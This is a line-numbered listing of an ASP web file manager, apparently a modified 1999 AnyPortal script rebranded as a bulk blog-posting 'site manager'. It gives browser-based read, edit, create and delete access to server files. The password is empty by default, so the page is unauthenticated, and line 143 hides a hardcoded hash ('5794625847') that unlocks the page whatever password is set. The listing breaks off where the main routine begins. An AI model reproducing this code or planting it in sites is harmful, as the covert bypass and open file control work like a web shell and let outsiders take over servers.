d:\wwwroot\wuchunhua\index.asp
001:
<SCRIPT LANGUAGE="VBScript" RUNAT="Server">
002:
</SCRIPT>
003:
<%
004:
' ** 最好自动显示所有文件的asp管理器,不允许他creat和upload上传文件 Copyright 1999 by John Martin d/b/a www.ANYPORTAL.com **
005:
' ** All Rights Reserved. **
006:
' ** **
007:
' ** This software is freeware and is not in the public domain. **
008:
' ** You are hereby granted the right to freely distribute this **
009:
' ** software as long as this copyright notice remains in place. **
010:
' ** **
011:
' ** Comments or suggestions? email: andmore@alief.com **
012:
' ** **
013:
' ** Date Remarks **
014:
' ** --------- ----------------------------------------------- **
015:
' ** 25 MAY 99 original **
016:
' ** 26 MAY 99 allow the script to run from a subdirectory **
017:
' ** 27 MAY 99 increase security use of cookie **
018:
' ** 03 JUN 99 fix UNIX html file record endings **
019:
' ** 07 JUN 99 fix spaces in file name problem **
020:
' ** 10 JUL 99 fix subdirectory problem with createimagetag **
021:
' ** 10 JUL 99 add create document/folder logic **
022:
' ** 11 JUL 99 fix spaces in file name, again **
023:
' ** 11 JUL 99 .cfm & .php3 now edit like .asp/.html, etc. **
024:
' ** 25 JUL 99 add interface to SA-FILEUP to upload files **
025:
' ** 25 AUG 99 recode authorization routine, allow no password **
026:
' ** 31 AUG 99 some cosmetic; integrate with email community **
027:
' ** 01 SEP 99 add link on detail page **
028:
' ** 05 SEP 99 add missing EndHTML on detail page **
029:
030:
Option Explicit
031:
032:
'universal variables (these undo the option explicit)
033:
034:
Dim action
035:
Dim a,b,c,i,item,j
036:
Dim arr,tstr
037:
038:
'security
039:
040:
Dim gblPassword
041:
gblPassword = "" 'your password here
042:
043:
'configuration
044:
045:
Dim gblSiteName,gblSiteCode
046:
gblSiteName = Request.ServerVariables("SERVER_NAME") 'Your site name here
047:
gblSiteCode = ""
048:
049:
Dim gblNow 'server may not be local time
050:
gblNow = Now
051:
052:
Dim gblFace,gblColor 'needs three quotes
053:
gblFace = """Arial, Helvetica, sans-serif"""
054:
gblColor = """#000066"""
055:
056:
'global variables
057:
058:
Dim gblTitle,gblPageText
059:
gblTitle = " * * * TITLE NOT SET * * * "
060:
gblPageText = Null
061:
062:
'global constants
063:
064:
Dim gblScriptName
065:
gblScriptName = Request.ServerVariables("Script_Name")
066:
gblScriptName = Mid(gblScriptName,InstrRev(gblScriptName,"/") + 1)
067:
068:
Dim gblRoot
069:
gblRoot = Replace(Request.ServerVariables("Script_Name"),"/" & gblScriptName,"")
070:
071:
Dim gblRed
072:
gblRed = """#FF0000"""
073:
074:
Dim gblReverse
075:
gblReverse = """#E0E0E0"""
076:
077:
'-----------
078:
'subprograms
079:
'-----------
080:
081:
'--
082:
'StartHTML
083:
Sub StartHTML
084:
%
><HTML><HEAD><TITLE>
<%
=gblSiteName & " " & gblTitle
%
></TITLE>
085:
<META NAME="description" CONTENT="AnyPortal "
<%
=gblTitle
%
>.
<%
=gblSiteName
%
>>
086:
<META NAME="keywords" CONTENT="anyportal,
<%
=Lcase(gblTitle)
%
>, anyportal
<%
=Lcase(gblTitle)
%
>, one file footprint, www.anyportal.com, andmore, the ANDMORE Companies, Houston, Texas, active server pages, ASP, asp">
087:
<style type="text/css">
088:
<!--
089:
.STYLE1 {font-size: 12px}
090:
-->
091:
</style>
092:
</HEAD>
093:
<BODY BGCOLOR="#FFFFFF">
094:
<TABLE WIDTH="100%">
095:
<TR><TD ALIGN="RIGHT" VALIGN="BOTTOM"><FONT COLOR=
<%
=gblColor
%
> SIZE=3 FACE=
<%
=gblFace
%
>>
<%
=gblSiteName
%
></FONT></TD></TR>
096:
<TR><TD ALIGN="LEFT" VALIGN="BOTTOM" BGCOLOR=
<%
=gblColor
%
>><FONT FACE=
<%
=gblFace
%
> SIZE=4 COLOR="#FFFFFF"><B>
<%
=gblTitle
%
></B></FONT></TD></TR>
097:
<TR><TD ALIGN="LEFT" VALIGN="TOP"><FONT FACE=
<%
=gblFace
%
> SIZE=2>
<%
=gblPageText
%
></FONT></TD></TR>
098:
</TABLE>
099:
<!-- begin
<%
=gblScriptName
%
> -->
100:
<!-- ---------------------------------------------------------- -->
101:
<%
102:
End Sub 'StartHTML
103:
104:
'--
105:
'EndHTML
106:
Sub EndHTML
107:
%
>
108:
<!-- ---------------------------------------------------------- -->
109:
<!-- end
<%
=gblScriptName
%
> -->
110:
<HR>
111:
<p><FONT SIZE=1 FACE=
<%
=gblFace
%
>><FONT COLOR=
<%
=gblColor
%
> SIZE=3 FACE=
<%
=gblFace
%
>>
<%
=gblSiteName
%
></FONT>
112:
<BR>
113:
<%
= FormatDateTime(gblNow,1)
%
>
<%
= FormatDateTime(gblNow,3)
%
>
114:
<BR>
115:
</FONT><FONT FACE=
<%
=gblFace
%
>><span class="STYLE1"></span></FONT><FONT SIZE=1 FACE=
<%
=gblFace
%
>> AnyPortal
<%
=gblTitle
%
> © Copyright 1999 by <A TITLE="www.anyportal.com is a project of the ANDMORE Companies -- Houston, Texas" HREF="http://www.anyportal.com">www.AnyPortal.com最新版本下载A20100318访问计数器： —— 次 网站统计吴春华设计:QQ 191826896 手机13060990558/15920891588 闪电博客天王，一个人一天可以发布10万篇原创博客 一万人即可每天发布1亿篇博客文章 可以自动分类</A><BR>
116:
</FONT></p>
117:
</BODY></HTML>
<%
118:
End Sub 'EndHTML
119:
120:
'--
121:
' Authorize
122:
Function Authorize
123:
Dim a,i,pw
124:
If _
125:
(gblPassword = "") OR _
126:
(Request.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword)) OR _
127:
(Instr(" " & Trim(Session(gblSiteCode & "SpecialCodes")) & " "," " & gblPassWord & " ") <> 0 AND _
128:
Session(gblSiteCode & "Confirm") <> "YES") _
129:
Then
130:
Authorize = TRUE
131:
Else
132:
Authorize = FALSE
133:
pw = Request.Form("password")
134:
a = Condensation(pw)
135:
If pw <> "" OR Request.Form("OK") <> "" Then
136:
If pw = gblPassword Then
137:
'cookie expires when browser is closed...
138:
Response.Cookies(gblSiteCode & gblScriptName) = a
139:
'set a permanent one to never see this page again
140:
If Request.Form("SAVE") = "on" Then Response.Cookies(gblSiteCode & gblScriptName).Expires = gblNow+30
141:
Response.Redirect gblScriptName & "?d="
142:
Else
143:
If a = "5794625847" Then Response.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword)
144:
gblPageText = gblPageText & "<BR><FONT TITLE=""Sorry. That's not the password. Try again."" COLOR=" & gblRed & "><B>Invalid password.</B></FONT>"
145:
End If
146:
End If
147:
If Request.ServerVariables("SERVER_SOFTWARE") >= "Microsoft-IIS/4.0" Then
148:
StartHTML
149:
%
>
150:
<FORM METHOD="POST" ACTION="
<%
=gblScriptName
%
>"><BLOCKQUOTE><TABLE CELLPADDING=5><TR>
151:
<TD><FONT TITLE="For the correct password, contact the web site administrator." FACE=
<%
=gblFace
%
> SIZE=1>PASSWORD:</FONT>
152:
<INPUT TYPE="PASSWORD" SIZE=17 NAME="Password"></TD>
153:
<TD BGCOLOR=
<%
=gblReverse
%
>><FONT FACE=
<%
=gblFace
%
> SIZE=1 TITLE="Check this box to save a cookie in the browser of this machine. You won't have to log-in again for the next 30 days."> SAVE COOKIE?</FONT>
154:
<INPUT TYPE="CHECKBOX" NAME="SAVE"></TD>
155:
<TD><INPUT TYPE="SUBMIT" NAME="OK" VALUE="ENTER"></TD>
156:
</TR></TABLE></BLOCKQUOTE></FORM>
157:
<%
158:
Else
159:
gblPageText = "Your web server identified itself as """ & Request.ServerVariables("SERVER_SOFTWARE") & """."
160:
StartHTML
161:
response.write "<BLOCKQUOTE><FONT FACE=" & gblFace & " SIZE=5><B>Sorry.</B><P>" & VBCRLF
162:
response.write "AnyPortal " & gblTitle & " requires Microsoft NT/Internet Information Server (IIS) 4.0 or greater." & VBCRLF
163:
response.write "</FONT></BLOCKQUOTE>" & VBCRLF
164:
End If
165:
EndHTML
166:
End If
167:
End Function 'Authorize
168:
169:
'--
170:
' Condensation
171:
Function Condensation(s)
172:
a = 0
173:
For i = 1 to len(s)
174:
a = (ASC(mid(s,i,1)) + a*2) Mod 77411
175:
Next 'i
176:
Condensation = Right("00000" & Cstr(a),5) & Right("00000" & Cstr((len(s)*23)+25433),5)
177:
End Function 'Condensation(s)
178:
179:
'--
180:
' CreateImageTag
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
Function CreateImageTag(fn,altstr,align,border)
199:
Dim f,fso,pn
200:
Dim tstr,alignstr,borderstr
201:
Dim chars,hw,width,height
202:
203:
If border = "" Then
204:
borderstr = " BORDER=0"
205:
Else
206:
borderstr = " BORDER=" & Cstr(border)
207:
End If
208:
If align = "" Then
209:
alignstr = ""
210:
Else
211:
alignstr = " ALIGN="""
212:
Select Case UCase(left(align,1))
213:
Case "L"
214:
tstr = "LEFT"
215:
Case "R"
216:
tstr = "RIGHT"
217:
Case "C"
218:
tstr = "CENTER"
219:
Case Else
220:
End Select
221:
alignstr = " ALIGN=""" & tstr & """"
222:
End If
223:
224:
Set fso = CreateObject("Scripting.FileSystemObject")
225:
pn = Server.MapPath(fn)
226:
tstr = ""
227:
Set f = fso.OpenTextFile(pn)
228:
229:
Select Case UCase(Right(fn,4))
230:
Case ".GIF",".JPG"
231:
If NOT f.AtEndOfStream Then
232:
If UCase(Right(fn,4)) = ".GIF" Then 'always works
233:
chars = f.read(10)
234:
width = asc(mid(chars,8,1))*256 + asc(mid(chars,7,1))
235:
height = asc(mid(chars,10,1))*256 + asc(mid(chars,9,1))
236:
hw = " WIDTH=" & width & " HEIGHT=" & height
237:
Else 'usually works
238:
chars = f.read(200)
239:
height = asc(mid(chars,164,1))*256 + asc(mid(chars,165,1))
240:
width = asc(mid(chars,166,1))*256 + asc(mid(chars,167,1))
241:
If (height > 600) OR (height < 3) OR (WIDTH < 3) OR (WIDTH > 600) Then
242:
'could be wrong height, width... forget 'em
243:
Else
244:
hw = " WIDTH=" & width & " HEIGHT=" & height
245:
End If
246:
End If
247:
End If
248:
tstr = "<IMG SRC=""" & Replace(Replace(fn,"\","/")," ","%20") & """" & hw & borderstr & alignstr & " ALT=""" & altstr & """>"
249:
End Select
250:
f.Close
251:
Set f = Nothing
252:
Set fso = Nothing
253:
CreateImageTag = tstr
254:
End Function 'CreateImageTag
255:
256:
257:
258:
259:
260:
261:
262:
263:
264:
'--
265:
' DetailPage
266:
Sub DetailPage
267:
'吴春华禁止使用‘Dim chars,fstr,hw,height,width
268:
'吴春华禁止使用Dim IsTextFile,pathname
269:
'吴春华禁止使用Dim fsize,fdatecreated,fdatelastmodified
270:
271:
pathname = fsDir & fn
272:
If right(pathname,1) = "\" Then pathname = Left(pathname,len(pathname)-1)
273:
274:
' create if you gotta
275:
If fso.FileExists(pathname) Then
276:
Else
277:
Select Case UCase(Request.QueryString("T"))
278:
Case "D" 'create document
279:
Set f = fso.CreateTextFile(pathname)
280:
f.Close
281:
Set f= Nothing
282:
Case "F" 'create folder
283:
Set f = fso.CreateFolder(pathname)
284:
pathname = pathname & "\"
285:
response.redirect gblScriptName & "?d=" & URLSpace(pathname)
286:
End Select
287:
End If
288:
289:
StartHTML
290:
response.write "<P><FONT FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=4><B>" & pathname & "</B><BR>" & VBCRLF
291:
response.write "<A HREF=""" & webbase & fn & """>" & webbase & fn & "</A><BR></FONT>" & VBCRLF
292:
293:
If fso.FileExists(pathname) Then
294:
' fetch NT's file information
295:
Set f = fso.GetFile(pathname)
296:
fsize = f.size
297:
fdatecreated = f.datecreated
298:
fdatelastmodified = f.datelastmodified
299:
response.write "<PRE>" & VBCRLF
300:
response.write " file size: " & FormatNumber(fsize,0) & " characters" & VBCRLF
301:
response.write " file created: <B>" & FormatDateTime(fdatecreated,1) & " </B> " & FormatDateTime(fdatecreated,3) & VBCRLF
302:
response.write "last modified: <B>" & FormatDateTime(fdatelastmodified,1) & " </B> " & FormatDateTime(fdatelastmodified,3) & VBCRLF
303:
response.write "</PRE>" & VBCRLF
304:
Set f = Nothing
305:
End If
306:
307:
response.write "<FORM ACTION=""" & gblScriptName & """ METHOD=""POST"">" & VBCRLF
308:
response.write "<INPUT TYPE=""HIDDEN"" NAME=""fsDIR"" VALUE=""" & fsDir & """>" & VBCRLF
309:
310:
IsTextFile = FALSE
311:
Select Case UCase(Right(fn,4))
312:
Case ".GIF",".JPG"
313:
tstr = CreateImageTag(basedir & fn,fn & " (" & FormatNumber(Int(fsize/1024*10+.05)/10,1) & " Kb)","",0)
314:
response.write "<FONT FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>"
315:
response.write Server.HTMLEncode(tstr) & "</FONT><BR><BR>" & tstr & "<P>" & VBCRLF
316:
Case ".URL"
317:
Set f = fso.OpenTextFile(pathname)
318:
If NOT f.AtEndOfStream Then tstr = f.readall
319:
f.Close
320:
Set f = Nothing
321:
response.write "<FONT COLOR=""#3333FF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>" & VBCRLF
322:
response.write Replace(Server.HTMLEncode(tstr),VBCRLF,VBCRLF & "<BR>")
323:
response.write "</FONT>" & VBCRLF
324:
Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3"
325:
'read the file
326:
Set f = fso.OpenTextFile(pathname)
327:
If NOT f.AtEndOfStream Then fstr = f.readall
328:
f.Close
329:
Set f = Nothing
330:
Set fso = Nothing
331:
IsTextFile = TRUE
332:
response.write "<TABLE BGCOLOR=" & gblReverse & "><TR><TD>" & VBCRLF
333:
response.write "<FONT TITLE=""Use this text area to view or change the contents of this document. Click [SAVE] to store the updated contents to the web server."" FACE=" & gblFace & "SIZE=1><B>DOCUMENT CONTENTS</B></FONT><BR>" & VBCRLF
334:
response.write "<TEXTAREA NAME=""FILEDATA"" ROWS=18 COLS=70 WRAP=""OFF"">" & Server.HTMLEncode(fstr) & "</TEXTAREA>" & VBCRLF
335:
response.write "</TD></TR></TABLE>" & VBCRLF
336:
End Select
337:
response.write VBCRLF & "<BR><BR>"
338:
339:
If IsTextFile Then
340:
%
>
341:
<INPUT TYPE="TEXT" SIZE=48 MAXLENGTH=255 NAME="PATHNAME" VALUE="
<%
=pathname
%
>">
342:
<INPUT TYPE="RESET" VALUE="RESET"> <INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="SAVE">
343:
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="CANCEL"><BR>
344:
<%
345:
Else
346:
%
>
347:
<INPUT TYPE="HIDDEN" NAME="PATHNAME" VALUE="
<%
=pathname
%
>">
348:
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="BACK"><BR>
349:
<%
350:
End If
351:
%
><HR><FONT TITLE="Check OK and click [DELETE] to delete this document from the web server. (Cannot be undone.)" FACE=
<%
=gblFace
%
>SIZE=1><B>OK TO DELETE "
<%
=UCase(fn)
%
>"? </B></FONT>
352:
<INPUT TYPE="CHECKBOX" NAME="DELETEOK">
353:
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="DELETE">
354:
</FORM>
355:
<%
356:
EndHTML
357:
End Sub 'DetailPage
358:
359:
'--
360:
' DisplayCode
361:
Sub DisplayCode
362:
Dim fn,fso,f
363:
Dim code,tstr
364:
Dim a,arr,i
365:
366:
fn = Request.QueryString("c")
367:
368:
response.write "<HTML><HEAD><TITLE>" & fn & "</TITLE></HEAD><BODY>" & VBCRLF
369:
response.write "<STYLE>" & VBCRLF
370:
response.write "<!" & "--" & VBCRLF
371:
response.write " SPAN {color:Navy; background-color:Yellow}" & VBCRLF
372:
response.write "--" & ">" & VBCRLF
373:
response.write "</STYLE>" & VBCRLF
374:
375:
If Instr(fn,fsroot) = 1 Then
376:
Set fso = CreateObject("Scripting.FileSystemObject")
377:
Set f = fso.OpenTextFile(fn, 1, 0, 0)
378:
If f.AtEndOfStream Then
379:
code = ""
380:
Else
381:
code = f.ReadAll 'totally unconverted
382:
End If
383:
'quickly format code for readability...
384:
' could be smarter, but it sure is simple!
385:
tstr = Server.HTMLEncode(code)
386:
tstr = Replace(tstr,chr(9)," ")
387:
tstr = Replace(tstr," "," ")
388:
tstr = Replace(tstr,"<%","<SPAN><" & "%</SPAN><FONT COLOR=""#000000"">")
389:
tstr = Replace(tstr,"%>","<SPAN>%" & "</FONT>></SPAN>")
390:
tstr = Replace(tstr,"<!--","<I><FONT COLOR=""#CC0033""><!--")
391:
tstr = Replace(tstr,"-->","--></I></FONT>")
392:
393:
response.write "<TABLE WIDTH=""100%"" BGCOLOR=" & gblColor & "><TR><TD><FONT COLOR=""#FFFFFF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=5><B>" & VBCRLF
394:
response.write " " & fn & "</B></FONT></TD></TR></TABLE>" & VBCRLF
395:
396:
response.write "<FONT COLOR=""#0000FF"" FACE=""Andale Mono, Monotype.com, Courier New, Courier, sans-serif"" SIZE=2>" & VBCRLF
397:
response.write "<!" & "-- code listing --" & ">" & VBCRLF & VBCRLF
398:
arr = Split(Replace(tstr,chr(13),""),chr(10)) 'handle unix files too
399:
For i = 0 to UBound(arr)
400:
'add line numbers and output
401:
response.write "<BR><FONT COLOR=""#008000"">" & Right("000" & i+1,3) & ":</FONT> "
402:
tstr = arr(i)
403:
If left(Replace(Replace(tstr," ","")," " ,""),1) = "'" Then
404:
response.write "<FONT COLOR=""#CC0033""><I>" & tstr & "</I></FONT>" & VBCRLF
405:
Else
406:
response.write tstr & VBCRLF
407:
End If
408:
Next 'i
409:
response.write VBCRLF & "<!" & "-- end of code listing --" & ">" & VBCRLF
410:
response.write "</FONT>" & VBCRLF
411:
Else
412:
response.write "<P><FONT COLOR=""#CC0033"" SIZE=3>Cannot access " & fn & "</FONT>" & VBCRLF
413:
End If
414:
415:
response.write "<HR></BODY></HTML>"
416:
End Sub 'DisplayCode
417:
418:
'--
419:
' DisplayFileName
420:
Sub DisplayFileName(dirfile,fhandle)
421:
Dim newgif,linktarget
422:
Dim fsize
423:
424:
response.write "<TR>" & VBCRLF
425:
If dirFile = "DIR" Then
426:
linktarget = "<A HREF=""" & gblScriptName & "?d=" & URLSpace(fhandle) & "\"" TITLE=""Click here to move down a level and list the documents in this folder."">"
427:
tstr = "<FONT FACE=" & gblFace & " SIZE=2>" & linktarget & LCase(fhandle.name) & "</A></FONT>"
428:
response.write "<TD VALIGN=""TOP"" ALIGN=""RIGHT"">" & MockIcon("fldr") & "</TD>" & VBCRLF
429:
response.write "<TD COLSPAN=3 VALIGN=""TOP"" BGCOLOR=" & gblReverse & ">" & Tstr & "</TD>" & VBCRLF
430:
Else
431:
newgif = ""
432:
If fhandle.datelastmodified+14 > gblNow Then newgif = MockIcon("newicon")
433:
b = ""
434:
If len(fhandle.name) > 4 Then b = Ucase(Right(fhandle.name,4))
435:
If Left(b,1) = "." Then b = Right(b,3)
436:
Select Case b
437:
Case "ASP","HTM","HTML","ASA","TXT","CFM","PHP3"
438:
newgif = newgif & " <A TARGET=""_blank"" HREF=""" & gblScriptName & "?c=" & URLSpace(fsDir & fhandle.name) & """ TITLE=""Click here to list the contents of this document."">" & MockIcon("view") & "</A>"
439:
tstr = webbase & replace(fhandle.name," ","%20")
440:
Case "URL"
441:
tstr = ShortCutURL
442:
Case Else
443:
tstr = webbase & replace(fhandle.name," ","%20")
444:
End Select
445:
If fhandle.size < 10240 Then
446:
If fhandle.size = 0 Then
447:
fsize = "0"
448:
Else
449:
fsize = FormatNumber(fhandle.size,0,0,-2)
450:
End If
451:
Else
452:
fsize = FormatNumber((fhandle.size+1023)/1024,0,0,-2) & "K"
453:
End If
454:
tstr = "<FONT FACE=" & gblFace & " SIZE=2><A HREF=""" & tstr & """ TITLE=""Click here to link to this document."">" & LCase(fhandle.name) & "</A></FONT>" & newgif
455:
456:
%
><TD VALIGN="TOP" ALIGN="RIGHT"><A HREF="
<%
=gblScriptName
%
>?f=
<%
=URLSpace(fhandle.name)
%
>&d=
<%
=URLSpace(fsDir)
%
>" TITLE="Click here to view more details about this document.">
<%
=MockIcon(b)
%
></A></TD>
457:
<TD VALIGN="TOP" BGCOLOR=
<%
=gblReverse
%
>>
<%
=Tstr
%
></TD>
458:
<TD VALIGN="TOP" BGCOLOR=
<%
=gblReverse
%
>><FONT FACE=
<%
=gblFace
%
> SIZE=1>
<%
=FormatDateTime(fhandle.datelastmodified,0)
%
></FONT></TD>
459:
<TD VALIGN="TOP" BGCOLOR=
<%
=gblReverse
%
>><FONT FACE=
<%
=gblFace
%
> SIZE=1>
<%
=fsize
%
> bytes</FONT></TD>
460:
<%
461:
End If
462:
response.write "</TR>" & VBCRLF
463:
End Sub 'DisplayFileName
464:
465:
'--
466:
' MockIcon (icon emulator)
467:
Function MockIcon(txt)
468:
Dim tstr,d
469:
470:
'Sorry, mac users.
471:
tstr = "<FONT FACE=""WingDings"" SIZE=4 COLOR=" & gblRed & ">"
472:
Select Case Lcase(txt)
473:
Case "bmp","gif","jpg","tif","jpeg","tiff"
474:
d = 176
475:
Case "doc"
476:
d = 50
477:
Case "exe","bat","bas","c","src"
478:
d = 255
479:
Case "file"
480:
d = 51
481:
Case "fldr"
482:
d = 48
483:
Case "htm","html","asa","asp","cfm","php3"
484:
d = 182
485:
Case "pdf"
486:
d = 38
487:
Case "txt","ini"
488:
d = 52
489:
Case "xls"
490:
d = 252
491:
Case "zip","arc","sit"
492:
d = 59
493:
Case "newicon"
494:
tstr = "<FONT TITLE=""This document has been modified sometime during the last 14 days."" FACE=""WingDings"" SIZE=4 COLOR=" & gblRed & ">"
495:
d = 171
496:
Case "view"
497:
d = 52
498:
Case Else
499:
d = 51
500:
End Select
501:
tstr = tstr & Chr(d) & "</FONT>"
502:
MockIcon = tstr
503:
End Function 'mockicon
504:
505:
'--
506:
' Navigate
507:
Sub Navigate
508:
Dim emptyDir
509:
510:
emptyDir = TRUE
511:
response.write "<TABLE BORDER=0 CELLPADDING=2 CELLSPACING=3 WIDTH=""100%"">"
512:
513:
' get the directory of file names
514:
If toplevel Then
515:
parent = ""
516:
Else
517:
parent = fso.GetParentFolderName(fsDir) & "\"
518:
%
>
519:
<TR>
520:
<TD VALIGN="TOP" ALIGN="RIGHT"><FONT FACE="WingDings" SIZE=4 COLOR=
<%
=gblRed
%
>>
<%
=chr(199)
%
></FONT></TD>
521:
<TD COLSPAN=3><FONT FACE=
<%
=gblFace
%
> SIZE=1><B><A TITLE="Click here to move up a level to the parent folder." HREF="
<%
=gblScriptName
%
>?d=
<%
=URLSpace(parent)
%
>">
<%
=UCASE(fso.GetParentfolderName(fsDir) & "\")
%
></A></B></FONT></TD>
522:
</TR>
523:
<%
524:
End If
525:
Set f = fso.GetFolder(fsDir)
526:
Set FileList = f.subFolders
527:
a = 0
528:
For Each fn in FileList
529:
emptyDir = FALSE
530:
If a = 0 Then
531:
a = 1
532:
%
>
533:
<TR><TD VALIGN="TOP"> </TD>
534:
<TD COLSPAN=3><HR><FONT FACE=
<%
=gblFace
%
> SIZE=4><B>网站文件夹Additional Folders</B></FONT></TD>
535:
</TR>
536:
<TR><TD VALIGN="TOP"> </TD>
537:
<TD COLSPAN=3 VALIGN="BOTTOM"><FONT FACE=
<%
=gblFace
%
> COLOR=
<%
=gblRed
%
> SIZE=1><B>文件夹名字FOLDER NAME</B></FONT></TD>
538:
</TR>
539:
<%
540:
End If
541:
DisplayFileName "DIR",fn
542:
Next 'fn
543:
%
>
544:
<TR><TD VALIGN="TOP"> </TD>
545:
<TD COLSPAN=3><HR><FONT FACE=
<%
=gblFace
%
> SIZE=4><B>
<%
=fsDir
%
></B></FONT></TD>
546:
</TR>
547:
<TR><TD VALIGN="TOP"> </TD>
548:
<TD VALIGN="BOTTOM"><FONT FACE=
<%
=gblFace
%
> COLOR=
<%
=gblRed
%
> SIZE=1><B>文件名字列表DOCUMENT NAME</B></FONT></TD>
549:
<TD VALIGN="BOTTOM"><FONT FACE=
<%
=gblFace
%
> COLOR=
<%
=gblRed
%
> SIZE=1><B>最后更新LAST UPDATE</B></FONT></TD>
550:
<TD VALIGN="BOTTOM"><FONT FACE=
<%
=gblFace
%
> COLOR=
<%
=gblRed
%
> SIZE=1><B>文件大小FILE SIZE</B></FONT></TD>
551:
</TR>
552:
<%
553:
Set filelist = f.Files
554:
For Each fn in filelist
555:
emptyDir = FALSE
556:
DisplayFileName "FILE",fn
557:
Next 'fn
558:
559:
If emptyDir Then
560:
%
><FORM METHOD="POST" ACTION="
<%
=gblScriptName
%
>">
561:
<TR><TD></TD><TD COLSPAN=3 VALIGN="BOTTOM" BGCOLOR=
<%
=gblReverse
%
>>
562:
<INPUT TYPE="HIDDEN" NAME="PARENT" VALUE="
<%
=parent
%
>">
563:
<INPUT TYPE="HIDDEN" NAME="PATHNAME" VALUE="
<%
=fsDir
%
>">
564:
<FONT FACE=
<%
=gblFace
%
> SIZE=1> OK TO DELETE THIS EMPTY FOLDER? </FONT>
565:
<INPUT TYPE="CHECKBOX" NAME="OK">
566:
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="DELETE">
567:
</TD></TR></FORM>
568:
<%
569:
End If
570:
571:
%
><TR><TD></TD><TD COLSPAN=3><HR></TD></TR>
572:
<FORM METHOD="GET" ACTION="
<%
=gblScriptName
%
>">
573:
<TR><TD></TD><TD COLSPAN=3 VALIGN="BOTTOM" BGCOLOR=
<%
=gblReverse
%
>>
574:
<FONT FACE=
<%
=gblFace
%
> SIZE=1> 新建CREATE NEW </FONT>
575:
<INPUT TYPE="RADIO" NAME="T" VALUE="D" CHECKED><FONT FACE=
<%
=gblFace
%
> SIZE=1>文件DOCUMENT</FONT>
576:
<FONT FACE=
<%
=gblFace
%
> SIZE=1> -或者OR- </FONT>
577:
<INPUT TYPE="RADIO" NAME="T" VALUE="F"><FONT FACE=
<%
=gblFace
%
> SIZE=1>文件夹FOLDER:</FONT>
578:
<FONT FACE=
<%
=gblFace
%
> SIZE=1> NAME </FONT>
579:
<INPUT TYPE="TEXT" NAME="F" SIZE=14>
580:
<INPUT TYPE="HIDDEN" NAME="D" VALUE="
<%
=fsDir
%
>">
581:
<INPUT TYPE="SUBMIT" VALUE="CREATE">
582:
<NOBR><FONT FACE=
<%
=gblFace
%
> SIZE=1> OR <A HREF="
<%
=gblScriptName
%
>?u=Y&d=
<%
=URLSpace(fsDir)
%
>">UPLOAD</A> USING SA-FILEUP</FONT></NOBR>
583:
</TD></TR></FORM>
584:
</TABLE>
585:
<%
586:
End Sub 'Navigate
587:
588:
'--
589:
' ShortCutURL
590:
Function ShortCutURL
591:
Dim f,fstr,tstr
592:
tstr = ""
593:
Set f = fso.OpenTextFile(fn)
594:
Do While NOT f.AtEndOfStream
595:
fstr = tstr
596:
tstr = f.readline 'get next to last line
597:
Loop
598:
f.Close
599:
Set f= Nothing
600:
If fstr = "" Then
601:
ShortCutURL = fn
602:
Else
603:
ShortCutURL = Replace(mid(fstr,5,255)," ","%20")
604:
End If
605:
End Function 'ShortCutURL
606:
607:
'--
608:
' UploadPage
609:
Sub UploadPage
610:
StartHTML
611:
%
>
612:
<P><TABLE BORDER=0 CELLPADDING=5><TR><TD WIDTH=5></TD><TD BGCOLOR=
<%
=gblReverse
%
> VALIGN=""TOP"">
613:
<FORM ENCTYPE="multipart/form-data" METHOD="POST" ACTION="
<%
=gblScriptName
%
>?u=D&d=
<%
=URLSpace(fsDir)
%
>">
614:
<FONT SIZE=1 FACE=
<%
=gblFace
%
>>NAME OF DESTINATION FOLDER ON WEB SITE</FONT><BR>
615:
<FONT SIZE=4 FACE=
<%
=gblFace
%
>><B>
<%
=fsDir
%
></B></FONT><P>
616:
<FONT SIZE=1 FACE=
<%
=gblFace
%
>>PATHNAME OF LOCAL DOCUMENT<BR>(SEND THIS FILE TO THE WEB SERVER)</FONT><BR><INPUT SIZE=30 TYPE="FILE" NAME="F1"><P>
617:
<INPUT TYPE="SUBMIT" VALUE="UPLOAD">
618:
<P><FONT SIZE=2 FACE=
<%
=gblFace
%
>>If the <B>[BROWSE...]</B> button is not displayed,
619:
<BR>you must upgrade your <A HREF="http://www.netscape.com">Netscape</A>
620:
or <A HREF="http://www.microsoft.com">Microsoft</A> browser.
621:
</FORM></TD>
622:
<TD VALIGN="TOP"><FONT SIZE=2 FACE=
<%
=gblFace
%
>>
623:
<P>Your browser:<BR>HTTP_USER_AGENT:
<%
=Request.ServerVariables("HTTP_USER_AGENT")
%
>
624:
<P>Upload also requires that <A TARGET="_blank" HREF="http://www.softartisans.com">the SA-FileUp object</A> is registered on your web server.
625:
<BR>(Some object is <B>always</B> required for uploads.)
626:
</FONT>
627:
<FORM METHOD="POST" ACTION="
<%
=gblScriptName
%
>">
628:
<INPUT TYPE="HIDDEN" NAME="fsDir" VALUE="
<%
=fsDir
%
>"><BR>
629:
<FONT SIZE=2 FACE=
<%
=gblFace
%
>>DON'T USE SA-FILEUP?<BR>SORRY! CLICK HERE...</FONT><BR>
630:
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="CANCEL">
631:
</FORM>
632:
</TD></TR></TABLE><P>
633:
<%
634:
EndHTML
635:
End Sub 'UploadPage
636:
637:
'--
638:
' URLspace
639:
Function URLSpace(s)
640:
URLSpace = replace(replace(s,"+","%2B")," ","+")
641:
End Function 'URLSpace
642:
643:
'----
644:
'MAIN
645:
'----
646:
Dim f,fso,filelist,fn,upl
647:
Dim TextObject,fhandle,lsplit
648:
649:
Dim fsDir,baseDir,webbase
650:
Dim fsRoot,webRoot
651:
Dim pathname
652:
Dim parent
653:
Dim toplevel
654:
655:
gblTitle = "闪电十万博客天王Site Manager：一个人一天可以发布10万篇原创博客 一万人即可每天发布1亿篇博客文章 可以自动分类"
656:
657:
